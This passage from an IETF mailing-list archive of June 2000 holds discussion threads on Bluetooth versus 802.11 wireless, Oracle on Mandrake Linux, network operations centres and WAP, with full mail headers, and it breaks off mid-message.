azEpMCcGA1UECxQgTW9yZ2FuIFN0YW5sZXkgRGVhbiBXaXR0ZXIgJiBDby4xQTA/BgNVBAsU
OE1vcmdhbiBTdGFubGV5IERlYW4gV2l0dGVyICYgQ28uIENsYXNzIDIgLSBJbmRpdmlkdWFs
IENBAhA0bpDgf0rNBjdrBVzpBaCpMAkGBSsOAwIaBQCggYYwGAYJKoZIhvcNAQkDMQsGCSqG
SIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDAwNjI4MTE1MjA5WjAjBgkqhkiG9w0BCQQxFgQU
Y457HDoSf5nzC3qinBZP2TrSRpQwJwYJKoZIhvcNAQkPMRowGDAHBgUrDgMCBzANBggqhkiG
9w0DAgIBKDANBgkqhkiG9w0BAQEFAASBgCvydrWRhVlFKKjI7I+b5LYwfZ29eGlWY+eTwamh
ph876q9s8eAmti5dCx0T7F3Ub1jxVe9OA45d+JVMKFEPo15WyHF850BrHzq7qliCNyuEWmDf
1D6B1CE70lmMmPKuWQDbl07yH5yhmxBee/rp/nidVj+aU03lkhRGH9LvbbwU
--------------ms08FCE5922D837C5A768C8DD4--



From owner-ietf-outbound  Wed Jun 28 08:50:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA21296
	for ietf-outbound.10@ietf.org; Wed, 28 Jun 2000 08:50:02 -0400 (EDT)
Received: from shultz.argon.com (shultz.argon.com [208.234.161.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA21055
	for <ietf@ietf.org>; Wed, 28 Jun 2000 08:41:59 -0400 (EDT)
Received: from fkastenholzpc.unispheresolutions.com (dhcp1.argon.com [208.234.161.16])
	by shultz.argon.com (8.10.0/8.10.0) with ESMTP id e5SCeut15206;
	Wed, 28 Jun 2000 08:40:56 -0400 (EDT)
Message-Id: <4.3.2.7.2.20000628082548.00afe3f0@schultz.argon.com>
X-Sender: kasten@schultz.argon.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 28 Jun 2000 08:43:13 -0400
To: Randy Bush <randy@psg.com>, Marcus Leech <mleech@nortelnetworks.com>
From: Frank Kastenholz <kasten@argon.com>
Subject: Re: WAP and IP
Cc: ietf@ietf.org
In-Reply-To: <E136xas-000KX1-00@rip.psg.com>
References: <4.2.0.58.20000626230213.0097df10@avarice.inner.net>
 <3958A261.EF386163@nt.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org


At 08:48 AM 6/27/00 -0700, Randy Bush wrote:
>ok, i was gonna keep out of this.  but there was a time when the entire
>academic network of south africa was served by a single 9600 baud slip
>connection, later upgraded to 14.4kb ppp.
>
>and i believe there was a direct parallel in the states, though pre-tcp/ip.

i worked for a networking equipment company in the late 80's
our link to the net then was 1200bd dialup. a quite common
connection technology for folks who couldn't afford the
obscene charges for leased lines back then. somehow we still
managed to move mail and news, look at gif files and so on.

and that was not pre-tcp/ip.... it _was_ pre-vj, in the bad old
days of congestive collapse. somehow, data moved around... 

frank kastenholz



From owner-ietf-outbound  Wed Jun 28 09:20:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA22195
	for ietf-outbound.10@ietf.org; Wed, 28 Jun 2000 09:20:02 -0400 (EDT)
Received: from bdc.salinasgroup.com ([209.10.112.246])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA21964
	for <ietf@ietf.org>; Wed, 28 Jun 2000 09:10:54 -0400 (EDT)
Received: by BDC with Internet Mail Service (5.5.2448.0)
	id <NMJJAFW1>; Wed, 28 Jun 2000 09:18:04 -0400
Received: from sglalenk (ip226.schiller-park8.il.pub-ip.psi.net [38.31.125.226]) by bdc.salinasgroup.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id NMJJAFWD; Wed, 28 Jun 2000 09:18:01 -0400
From: Alen Kirkorian <Alen.Kirkorian@salinasgroup.com>
To: ietf@ietf.org
Subject: NOCC Specifications
Date: Wed, 28 Jun 2000 08:12:16 -0500
Message-ID: <LPBBIEFOHLHIEGBKPNDHKEAMEIAA.alen.kirkorian@salinasgroup.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Importance: Normal
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

I am in the process of doing some research on the development of a network
operations control center (NOCC) for my organization.  Does anyone know if
there is a standards organization (or specifications) that can help guide me
in developing our NOCC?

Thanks:
Alen Kirkorian



From owner-ietf-outbound  Wed Jun 28 09:30:42 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA22451
	for ietf-outbound.10@ietf.org; Wed, 28 Jun 2000 09:30:02 -0400 (EDT)
Received: from smtp.mail.yahoo.com (smtp.mail.yahoo.com [128.11.68.32])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA22365
	for <ietf@ietf.org>; Wed, 28 Jun 2000 09:27:20 -0400 (EDT)
Received: from ip226.schiller-park8.il.pub-ip.psi.net (HELO sglalenk) (38.31.125.226)
  by smtp.mail.yahoo.com with SMTP; 28 Jun 2000 06:11:22 -0700
X-Apparently-From: <akirkorian@yahoo.com>
From: "Alen Kirkorian" <akirkorian@yahoo.com>
To: <ietf@ietf.org>
Subject: NOCC Specifications
Date: Wed, 28 Jun 2000 08:13:12 -0500
Message-ID: <LPBBIEFOHLHIEGBKPNDHAEANEIAA.akirkorian@yahoo.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Importance: Normal
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit


I am in the process of doing some research on the development of a network
operations control center (NOCC) for my organization.  Does anyone know if
there is a standards organization (or specifications) that can help guide me
in developing our NOCC?

Thanks:
Alen Kirkorian



__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com



From owner-ietf-outbound  Wed Jun 28 10:20:56 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA23887
	for ietf-outbound.10@ietf.org; Wed, 28 Jun 2000 10:20:02 -0400 (EDT)
Received: from zmamail04.zma.compaq.com (zmamail04.zma.compaq.com [161.114.64.104])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA23826
	for <ietf@ietf.org>; Wed, 28 Jun 2000 10:18:00 -0400 (EDT)
Received: by zmamail04.zma.compaq.com (Postfix, from userid 12345)
	id 44884BB2; Wed, 28 Jun 2000 10:17:32 -0400 (EDT)
Received: from excreo-gh02.reo.cpqcorp.net (excreo-gh02.reo.cpqcorp.net [16.37.150.254])
	by zmamail04.zma.compaq.com (Postfix) with ESMTP id EF13BABA
	for <ietf@ietf.org>; Wed, 28 Jun 2000 10:17:31 -0400 (EDT)
Received: by excreo-gh02.reo.cpqcorp.net with Internet Mail Service (5.5.2650.21)
	id <NYDVYJKW>; Wed, 28 Jun 2000 15:17:30 +0100
Message-ID: <71C4C55F198BD211B24F0000F842F15807ED9B75@reoexc6.reo.cpqcorp.net>
From: "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>
To: ietf@ietf.org
Subject: Bluetooth
Date: Wed, 28 Jun 2000 15:17:27 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Hi folks 
	Anyone care to start a discussion about Bluetooth and how it
may/will impact the future of communications ? And the new generation of
Virus's that could come along with this technology.


Thanks
Jon


> Jonathan Parkinson
> EMEA Operations Management Center.
> Remote Server and Network Management Group.
> Unix Support .
> Compaq Computer Limited 
> 
> Tel: DTN 7830 1118
> Tel: External +44 (0)118 201118
> Fax: +44 (0)118 201175
> Jonathan.parkinson@compaq.com
> 



From owner-ietf-outbound  Wed Jun 28 11:50:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA26179
	for ietf-outbound.10@ietf.org; Wed, 28 Jun 2000 11:50:02 -0400 (EDT)
Received: from [207.76.201.16] ([207.76.201.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA25922
	for <ietf@ietf.org>; Wed, 28 Jun 2000 11:41:36 -0400 (EDT)
Received: from dallas.adjust4.com by [207.76.201.16]
          via smtpd (for odin.ietf.org [132.151.1.176]) with SMTP; 28 Jun 2000 15:34:24 UT
Received: by dallas.adjust4.com with Internet Mail Service (5.5.2448.0)
	id <NV6AXVL7>; Wed, 28 Jun 2000 10:25:55 -0500
Message-ID: <E1F869EAC4E7D211927E0008C79FA4B71FB6CD@S_TOR_EXC2>
From: "Ventura, Tony" <TVentura@na.CunninghamLindsey.com>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: Linux OS
Date: Wed, 28 Jun 2000 10:30:41 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Greetings all:

	we are currently a MS shop and some have expressed interest in Linux
(I expect because of the low $$). We 
	looking at have an Oracle dB. However the interest is that it run on
a Linux 7.0 Mandrake OS. 
	
	I am not very up-to-date on Linux and would appreciate knowing  if
anyone has any pros/cons on using Linux under Oracle.

Tony Ventura
Director of Corporate Security





From owner-ietf-outbound  Wed Jun 28 12:10:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA26790
	for ietf-outbound.10@ietf.org; Wed, 28 Jun 2000 12:10:02 -0400 (EDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA26635
	for <ietf@ietf.org>; Wed, 28 Jun 2000 12:05:18 -0400 (EDT)
Received: from hocus.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.07723-0@bells.cs.ucl.ac.uk>; Wed, 28 Jun 2000 17:05:09 +0100
To: "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>
cc: ietf@ietf.org
Subject: Re: Bluetooth is a flaucipaucinihilipilification...
In-reply-to: Your message of "Wed, 28 Jun 2000 15:17:27 BST." <71C4C55F198BD211B24F0000F842F15807ED9B75@reoexc6.reo.cpqcorp.net>
Date: Wed, 28 Jun 2000 17:05:08 +0100
Message-ID: <2925.962208308@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@CS.UCL.AC.UK>
X-Loop: ietf@ietf.org


In message <71C4C55F198BD211B24F0000F842F15807ED9B75@reoexc6.reo.cpqcorp.net>, 
"Parkinson, Jonathan" typed:

 >>	Anyone care to start a discussion about Bluetooth and how it
 >>may/will impact the future of communications ? And the new generation of
 >>Virus's that could come along with this technology.
 
no. but a email thread on
bluetooth is just scsi without copper
might be interesting:-)

j.



From owner-ietf-outbound  Wed Jun 28 12:50:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA27713
	for ietf-outbound.10@ietf.org; Wed, 28 Jun 2000 12:50:02 -0400 (EDT)
Received: from rip.psg.com (rip.psg.com [147.28.0.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA27588
	for <ietf@ietf.org>; Wed, 28 Jun 2000 12:42:51 -0400 (EDT)
Received: from randy by rip.psg.com with local (Exim 3.13 #1)
	id 137KvE-0006Mu-00; Wed, 28 Jun 2000 09:42:44 -0700
From: Randy Bush <randy@psg.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: Jon Crowcroft <J.Crowcroft@CS.UCL.AC.UK>
Cc: "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>, ietf@ietf.org
Subject: Re: Bluetooth is a flaucipaucinihilipilification...
References: <71C4C55F198BD211B24F0000F842F15807ED9B75@reoexc6.reo.cpqcorp.net>
	<2925.962208308@cs.ucl.ac.uk>
Message-Id: <E137KvE-0006Mu-00@rip.psg.com>
Date: Wed, 28 Jun 2000 09:42:44 -0700
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

> no. but a email thread on
> bluetooth is just scsi without copper
> might be interesting:-)

but don't newer scsi busses have a larger address space?



From owner-ietf-outbound  Wed Jun 28 14:01:28 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA29025
	for ietf-outbound.10@ietf.org; Wed, 28 Jun 2000 14:00:02 -0400 (EDT)
Received: from adntmx02.excel.com (mail.excel.com [209.39.116.42])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA28959
	for <ietf@ietf.org>; Wed, 28 Jun 2000 13:56:08 -0400 (EDT)
Received: FROM adntex06.adsn.dal.excel.com BY adntmx02.excel.com ; Wed Jun 28 12:55:18 2000 -0500
Received: by ADNTEX06 with Internet Mail Service (5.5.2650.21)
	id <NYLLZ39A>; Wed, 28 Jun 2000 12:55:32 -0500
Message-ID: <2D343922E283D211945C0008C7A41B2A015D7FF6@adntex01.adsn.dal.excel.com>
From: Manoj Shrivastava <MShrivas@excel.com>
To: "'Ventura, Tony'" <TVentura@NA.CUNNINGHAMLINDSEY.COM>,
        "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: Linux OS
Date: Wed, 28 Jun 2000 12:55:28 -0500
Return-Receipt-To: Manoj Shrivastava <MShrivas@excel.com>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org


  Oracle runs on any flavor on Linux as long as the library and kernel
version is at the required level. 

Oracle Version	Kernel Version		System Libraries Version
--------------    --------------          ------------------------
8.0.5			>= 2.0.34			>= GNU C Library
2.0.7
8.1.5			>= 2.2			>= GNU C Library 2.1

- 8i requires a graphical window manager that supports Motif 1.2
- JRE version 1.1.6 v5 should be downloaded from http://blackdown.org/ and
installed.

As of now, I believe Oracle only supports Redhat Linux, SuSe Linux, Turbo
Linux and Caldera. But Oracle 8i should work fine on Mandrake 7.0 . I
checked metalink and found that 8.1.5 and 8.1.6 has been successfully
installed on Mandrake 7.0 .

Further info. on the topic is available on http://technet.oracle.com and
http://metalink.oracle.com and http://jordan.fortwayne.com/oracle/index.html


From owner-ietf-outbound  Thu Jun 29 03:20:34 2000
Received: by ietf.org (8.9.1a/8.9.1a) id DAA23790
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 03:20:02 -0400 (EDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA23498
	for <ietf@ietf.org>; Thu, 29 Jun 2000 03:10:05 -0400 (EDT)
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.02884-0@bells.cs.ucl.ac.uk>; Thu, 29 Jun 2000 08:10:03 +0100
To: "'IETF Mailing List'" <ietf@ietf.org>
Subject: Re: WAP - What A Problem...
Date: Thu, 29 Jun 2000 08:10:02 +0100
Message-ID: <1075.962262602@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@CS.UCL.AC.UK>
X-Loop: ietf@ietf.org


a technical discussion worth reading is at
http://www.osopinion.com/Opinions/MikeBanahan/MikeBanahan1.html

it would seeem (as i've suspected for a while) that the community in
charge of this development has the same problem as the guy who built
jurassic park - they haev no discipline, or understanding of computing
and the software/jhardware interface tradeoffs  - this is qutie a
common problem in communications work - people come from one side of
the tracks (either jsut software or just engineering, or ust plain
theory) - systems architecture is hard stuff, but there is little
point standing on the toes of giants, when its possible to stand on
their shoulders....it both ends of the problem space, whether
application level and devising new markup languages for restricted
display, or low level work in customising
protocol stacks for resource scarce environments  , there is a body of
public work out there, and of researchers who are willing to
cosntructively critique proposals provided they are carried out in a
public way with optimally zero cost for access to early drafts, but
at least low entry cost - it is also a good idea to let those wacky
media lab types get their hands on hardware prototypes, since they
will (as william gibson puts it) "find a street use for things" - its
instructive to see how wavelan and its cousins have fared so well
after being handed over to the ietf - if we'd have PCMCIA GSM and GPRS
(and bluetooth) cards, despite battery power or other clunkiness
problems, we might haev made less of a dogs dinner of things...(when i
say we, i mean the interdisciplinary, apparently unstructured, but
actually highly organised force that will fit anything to IP, and not
vice versa)

give me a level long enough and we can moev the earth - give the wrong
end of the same level to the wrong people and they can crush a
diamond.


j.



From owner-ietf-outbound  Thu Jun 29 10:11:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA08327
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 10:10:02 -0400 (EDT)
Received: from mgate-01.teledesic.com (mgate-01.teledesic.com [216.190.22.41])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA08277
	for <ietf@ietf.org>; Thu, 29 Jun 2000 10:08:57 -0400 (EDT)
Received: by mgate-01.teledesic.com with Internet Mail Service (5.5.2650.21)
	id <NYLTRVFT>; Thu, 29 Jun 2000 07:02:40 -0700
Message-ID: <25D0C66E6D25D311B2AC0008C7913EE0DE8A81@tdmail2.teledesic.com>
From: Dan Kohn <dan@dankohn.com>
To: "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>, ietf@ietf.org
Subject: RE: Bluetooth
Date: Thu, 29 Jun 2000 06:54:29 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

I will bite regarding one issue near and dear to IETF hearts -- which is the
seeming need to buy yet another 802.11 card for each IETF meeting.  And yes,
I am actually suggesting an approach that would require one more purchase:

I was at Bluetooth Congress in Europe this month (which sounds better than
saying the Bluetooth Congress in Monte Carlo), and Bluetooth products are
definitely gathering momentum.  I expect the Ericsson wireless headset
shipping Q3 to be a killer product over the next 2 years, as people get
tired of dangling wires from headset cords and (for safety reasons) would
rather have a 1 milliwatt Bluetooth transceiver next to their head than a
300 milliwatt cellphone.

The remaining standards battle I see (now that HomeRF has been largely
killed off by Bluetooth FUD), is to settle once and for all that 802.11
should win as the wireless LAN technology of choice and that Bluetooth is
the only feasible wireless cable replacement technology that can actually
get into cellphones and other cheap digital devices.  Since the most
important attribute for 802.11 is bandwidth (its competition is 100BaseT),
while the most important attribute for Bluetooth is a $5 chip price, the
most likely outcome is for 802.11 to move up to the 5 GHz ISM band where it
can provide 54 Mbps (and up), significantly faster than the 11 Mbps
theoretically available today at 2.4 GHz, while offering the same ~$100
price point and propagation characteristics.

This would then leave the 2.4 GHz band for Bluetooth, and allow both
Bluetooth and 802.11 to be simultaneously active from the same laptop.  I
think most LANs will be wireless in a couple years simply for the
convenience of avoiding cabling (even for desktop computers), and that
people will want to sync up with their Palm Pilots and their cellphones
without having to disconnect from the network, which is the scenario today.
However, dual simultaneous use will work perfectly with Bluetooth at 2.4 GHz
and 802.11 at 5 GHz.

		- dan
--
Daniel Kohn <mailto:dan@dankohn.com>
 Both US <tel:+1-425-602-6222> and UK <tel:+44-20-8600-1296>
 numbers forward to the same automated operator to reach me.
<http://www.dankohn.com>

-----Original Message-----
From: Parkinson, Jonathan [mailto:Jonathan.Parkinson@compaq.com]
Sent: Wednesday, 2000-06-28 07:17
To: ietf@ietf.org
Subject: Bluetooth


Hi folks 
	Anyone care to start a discussion about Bluetooth and how it
may/will impact the future of communications ? And the new generation of
Virus's that could come along with this technology.


Thanks
Jon


> Jonathan Parkinson
> EMEA Operations Management Center.
> Remote Server and Network Management Group.
> Unix Support .
> Compaq Computer Limited 
> 
> Tel: DTN 7830 1118
> Tel: External +44 (0)118 201118
> Fax: +44 (0)118 201175
> Jonathan.parkinson@compaq.com
> 



From owner-ietf-outbound  Thu Jun 29 10:20:06 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA08639
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 10:20:02 -0400 (EDT)
Received: from rip.psg.com (rip.psg.com [147.28.0.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA08492
	for <ietf@ietf.org>; Thu, 29 Jun 2000 10:14:24 -0400 (EDT)
Received: from randy by rip.psg.com with local (Exim 3.13 #1)
	id 137f5C-000GAG-00; Thu, 29 Jun 2000 07:14:22 -0700
From: Randy Bush <randy@psg.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: Dan Kohn <dan@dankohn.com>
Cc: ietf@ietf.org
Subject: RE: Bluetooth
References: <25D0C66E6D25D311B2AC0008C7913EE0DE8A81@tdmail2.teledesic.com>
Message-Id: <E137f5C-000GAG-00@rip.psg.com>
Date: Thu, 29 Jun 2000 07:14:22 -0700
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

to me, the most salient difference between bluetooth and 802.11 is the
addressing.  with a three bit address, i see bluetooth as a viable
competitor for infrared ports.

randy



From owner-ietf-outbound  Thu Jun 29 10:30:29 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA08909
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 10:30:02 -0400 (EDT)
Received: from ex1.clearaccess.net ([204.214.6.254])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA08828
	for <ietf@ietf.org>; Thu, 29 Jun 2000 10:26:06 -0400 (EDT)
Received: by EX1 with Internet Mail Service (5.5.1960.3)
	id <NYQ3HW38>; Thu, 29 Jun 2000 10:21:06 -0400
Message-ID: <818BD117E43BD4118A7A0008C7CF9C3102BDA2@EX1>
From: Scot Mc Pherson <smcpherson@clearaccess.net>
To: "'Dan Kohn'" <dan@dankohn.com>,
        "Parkinson, Jonathan"
	 <Jonathan.Parkinson@compaq.com>, ietf@ietf.org
Subject: RE: Bluetooth
Date: Thu, 29 Jun 2000 10:21:05 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain
X-Loop: ietf@ietf.org

There isn't a theoretical limit of 11 Mbps on 2.4 GHz. There are already
higher speed Ethernet (although not 802.11) that operate on that
spectrum. 30 Mbps is the fastest Ethernet on 2.4 GHz in commercial
production right now. The reason why the bandwidth is 11Mbps/6Mbps is
the chipset, not the frequency it runs on.



-----Original Message-----
From: Dan Kohn [mailto:dan@dankohn.com]
Sent: Thursday, June 29, 2000 9:54 AM
To: Parkinson, Jonathan; ietf@ietf.org
Subject: RE: Bluetooth


I will bite regarding one issue near and dear to IETF hearts -- which is
the
seeming need to buy yet another 802.11 card for each IETF meeting.  And
yes,
I am actually suggesting an approach that would require one more
purchase:

I was at Bluetooth Congress in Europe this month (which sounds better
than
saying the Bluetooth Congress in Monte Carlo), and Bluetooth products
are
definitely gathering momentum.  I expect the Ericsson wireless headset
shipping Q3 to be a killer product over the next 2 years, as people get
tired of dangling wires from headset cords and (for safety reasons)
would
rather have a 1 milliwatt Bluetooth transceiver next to their head than
a
300 milliwatt cellphone.

The remaining standards battle I see (now that HomeRF has been largely
killed off by Bluetooth FUD), is to settle once and for all that 802.11
should win as the wireless LAN technology of choice and that Bluetooth
is
the only feasible wireless cable replacement technology that can
actually
get into cellphones and other cheap digital devices.  Since the most
important attribute for 802.11 is bandwidth (its competition is
100BaseT),
while the most important attribute for Bluetooth is a $5 chip price, the
most likely outcome is for 802.11 to move up to the 5 GHz ISM band where
it
can provide 54 Mbps (and up), significantly faster than the 11 Mbps
theoretically available today at 2.4 GHz, while offering the same ~$100
price point and propagation characteristics.

This would then leave the 2.4 GHz band for Bluetooth, and allow both
Bluetooth and 802.11 to be simultaneously active from the same laptop.
I
think most LANs will be wireless in a couple years simply for the
convenience of avoiding cabling (even for desktop computers), and that
people will want to sync up with their Palm Pilots and their cellphones
without having to disconnect from the network, which is the scenario
today.
However, dual simultaneous use will work perfectly with Bluetooth at 2.4
GHz
and 802.11 at 5 GHz.

		- dan
--
Daniel Kohn <mailto:dan@dankohn.com>
 Both US <tel:+1-425-602-6222> and UK <tel:+44-20-8600-1296>
 numbers forward to the same automated operator to reach me.
<http://www.dankohn.com>

-----Original Message-----
From: Parkinson, Jonathan [mailto:Jonathan.Parkinson@compaq.com]
Sent: Wednesday, 2000-06-28 07:17
To: ietf@ietf.org
Subject: Bluetooth


Hi folks 
	Anyone care to start a discussion about Bluetooth and how it
may/will impact the future of communications ? And the new generation of
Virus's that could come along with this technology.


Thanks
Jon


> Jonathan Parkinson
> EMEA Operations Management Center.
> Remote Server and Network Management Group.
> Unix Support .
> Compaq Computer Limited 
> 
> Tel: DTN 7830 1118
> Tel: External +44 (0)118 201118
> Fax: +44 (0)118 201175
> Jonathan.parkinson@compaq.com
> 



From owner-ietf-outbound  Thu Jun 29 10:40:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA09192
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 10:40:03 -0400 (EDT)
Received: from rip.psg.com (rip.psg.com [147.28.0.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA09060
	for <ietf@ietf.org>; Thu, 29 Jun 2000 10:34:23 -0400 (EDT)
Received: from randy by rip.psg.com with local (Exim 3.13 #1)
	id 137fOY-000GKW-00; Thu, 29 Jun 2000 07:34:22 -0700
From: Randy Bush <randy@psg.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: Dan Kohn <dan@dankohn.com>
Cc: ietf@ietf.org
Subject: RE: Bluetooth
References: <25D0C66E6D25D311B2AC0008C7913EE0DE8A81@tdmail2.teledesic.com>
Message-Id: <E137fOY-000GKW-00@rip.psg.com>
Date: Thu, 29 Jun 2000 07:34:22 -0700
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

> I will bite regarding one issue near and dear to IETF hearts -- which is the
> seeming need to buy yet another 802.11 card for each IETF meeting.

btw, those daze are over, at least for the moment.

from the current version of draft-ymbk-termroom-op-03.txt,

   2.5 Wireless LAN
       ...
       The IETF Wireless LAN MUST support at least the 802.11-DS
       technology.

randy



From owner-ietf-outbound  Thu Jun 29 11:30:58 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA10673
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 11:30:02 -0400 (EDT)
Received: from pntsmtp02.hq.espire.net (smtp1.espire.net [206.222.96.209])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA10589
	for <ietf@ietf.org>; Thu, 29 Jun 2000 11:28:38 -0400 (EDT)
Received: FROM pntsmtp02.hq.espire.net BY pntsmtp02.hq.espire.net ; Thu Jun 29 11:29:04 2000 -0400
Received: by PNTSMTP02.hq.espire.net with Internet Mail Service (5.5.2650.21)
	id <MM570FDH>; Thu, 29 Jun 2000 11:29:04 -0400
Message-ID: <11C39F7E0407D411AF1000D0B7475FDE4A95F6@PNTEXCH04.hq.espire.net>
From: "Taylor, Johnny" <Johnny.Taylor@espire.net>
To: "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>, ietf@ietf.org
Subject: RE: Bluetooth
Date: Thu, 29 Jun 2000 11:26:15 -0400
Return-Receipt-To: "Taylor, Johnny" <Johnny.Taylor@espire.net>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Give me some back ground information and how they fit in the communication
world! Then we can open the discussions! 

-----Original Message-----
From: Parkinson, Jonathan [mailto:Jonathan.Parkinson@compaq.com]
Sent: Wednesday, June 28, 2000 10:17 AM
To: ietf@ietf.org
Subject: Bluetooth


Hi folks 
	Anyone care to start a discussion about Bluetooth and how it
may/will impact the future of communications ? And the new generation of
Virus's that could come along with this technology.


Thanks
Jon


> Jonathan Parkinson
> EMEA Operations Management Center.
> Remote Server and Network Management Group.
> Unix Support .
> Compaq Computer Limited 
> 
> Tel: DTN 7830 1118
> Tel: External +44 (0)118 201118
> Fax: +44 (0)118 201175
> Jonathan.parkinson@compaq.com
> 



From owner-ietf-outbound  Thu Jun 29 12:00:22 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA12676
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 12:00:03 -0400 (EDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA12185
	for <ietf@ietf.org>; Thu, 29 Jun 2000 11:52:03 -0400 (EDT)
Received: from isi.edu (sci.isi.edu [128.9.160.93])
	by boreas.isi.edu (8.9.3/8.9.3) with ESMTP id IAA04267;
	Thu, 29 Jun 2000 08:51:41 -0700 (PDT)
Message-ID: <395B7085.DDF77CE8@isi.edu>
Date: Thu, 29 Jun 2000 08:51:33 -0700
From: Joe Touch <touch@ISI.EDU>
X-Mailer: Mozilla 4.73 [en] (Win98; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: Dan Kohn <dan@dankohn.com>
CC: "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>, ietf@ietf.org
Subject: Re: Bluetooth
References: <25D0C66E6D25D311B2AC0008C7913EE0DE8A81@tdmail2.teledesic.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit



Dan Kohn wrote:
> 
> I will bite regarding one issue near and dear to IETF hearts -- which is the
> seeming need to buy yet another 802.11 card for each IETF meeting.  And yes,
